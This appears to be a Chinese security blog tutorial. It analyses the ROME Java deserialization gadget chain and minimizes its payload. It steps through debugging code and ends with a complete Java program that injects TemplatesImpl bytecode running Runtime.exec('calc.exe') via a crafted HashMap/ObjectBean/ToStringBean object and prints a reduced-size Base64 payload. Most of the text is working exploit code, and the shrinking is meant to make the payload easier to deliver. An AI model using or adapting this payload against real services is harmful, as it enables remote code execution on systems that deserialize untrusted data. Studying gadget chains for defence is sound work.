前言
ROME 链跟 CC2 差不多,都是配合 TemplatesImpl 注入模板,本章将分析 ROME 链并且对其产生的 Payload 进行最小化。
环境搭建
新建模块 quickstart 走起。
然后在 pom.xml 添加好 rome 依赖。
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
</dependencies>
漏洞分析
分析 ysoserial 的反序列化调用链,我发现 ObjectBean.toString() 是可以省略的。
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
一步一步来,首先我们需要将 HashMap 的键设置为 ObjectBean,进行调试。(代码这里先不贴全太占位置,结尾会贴全)
public class dome {
public static void main(String[] args) throws Exception{
ObjectBean objectBean = new ObjectBean(String.class, "x");
Map hashMap = new HashMap();
hashMap.put(objectBean, "x");
// 执行序列化与反序列化,并且返回序列化数据
ByteArrayOutputStream bs = unSerial(hashMap);
}
HashMap<K,V>.readObject(ObjectInputStream)
HashMap<K,V>.hash(Object)
key 被我们设置为 ObjectBean 所以调用到了 ObjectBean.hashCode()。
EqualsBean.beanHashCode()
刚开始我们说过 ObjectBean.toString() 可以省略,我们直接将 _obj 设置为 ToStringBean。
进一步修改 dome,将 "x" 修改为 ToStringBean 对象。
public class dome {
public static void main(String[] args) throws Exception{
ToStringBean toStringBean = new ToStringBean(String.class, "x");
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
Map hashMap = new HashMap();
hashMap.put(objectBean, "x");
// 执行序列化与反序列化,并且返回序列化数据
ByteArrayOutputStream bs = unSerial(hashMap);
}
重新调试,_obj 已经被设置为 ToStringBean。
ToStringBean.toString() 。
ToStringBean.toString(String)
上图的关键点在 BeanIntrospector.getPropertyDescriptors(_beanClass);,它会获取传入的类的 getters 与 setters ,我们传入的是 String 所以获取了 String 的 getters 与 setters 。
回到 ToStringBean.toString(String),此时通过反射去调用对象的 getters 与 setters。
继续修改 dome ,将 ToStringBean 构造方法的参数改为 TemplatesImpl。
public class dome {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get(Evil.class.getName());
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);
ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
Map hashMap = new HashMap();
hashMap.put(objectBean, "x");
// 执行序列化与反序列化,并且返回序列化数据
ByteArrayOutputStream bs = unSerial(hashMap);
}
重新调试,直接跟到 ToStringBean.toString(String),到这就行了,后面就是 TemplatesImpl 的调用链了,如果忘记就重新复习一下吧。
最小化Payload
现在序列化的数据进行 Base64 之后大小为 3408 。
通过 4ra1n 师傅 终极Java反序列化Payload缩小技术 文章的 Javassist 构造,进一步缩小 Payload,在进行测试时发现 4ra1n 师傅的方式还可以继续优化,try 可以去掉。修改的 dome 如下,此时大小为 1932 。
public class dome {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("i");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);
ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
Map hashMap = new HashMap();
hashMap.put(objectBean, "x");
// 执行序列化与反序列化,并且返回序列化数据
ByteArrayOutputStream bs = unSerial(hashMap);
// 输出序列化的Base64编码字符
Base64Encode(bs);
}
其实除了 4ra1n 师傅文章的方法之外还有一个方法可以缩小 Payload,我们的 Payload 其实有一些多余的数据,这些数据就是删除了也不会对反序列化调用过程造成影响的数据。
继续修改 dome,通过测试删除了一些不影响反序列化调用过程的数据,最终 dome 如下。输出的 Base64 Payload 大小为 1696 。
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class dome {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("i");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);
ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
Map hashMap = new HashMap();
hashMap.put(objectBean, "x");
setFieldValue(objectBean, "_cloneableBean", null);
setFieldValue(objectBean, "_toStringBean", null);
// 执行序列化与反序列化,并且返回序列化数据
ByteArrayOutputStream bs = unSerial(hashMap);
// 输出序列化的Base64编码字符
Base64Encode(bs);
}
private static ByteArrayOutputStream unSerial(Map hashMap) throws Exception{
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeObject(hashMap);
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
in.readObject();
in.close();
return bs;
}
private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}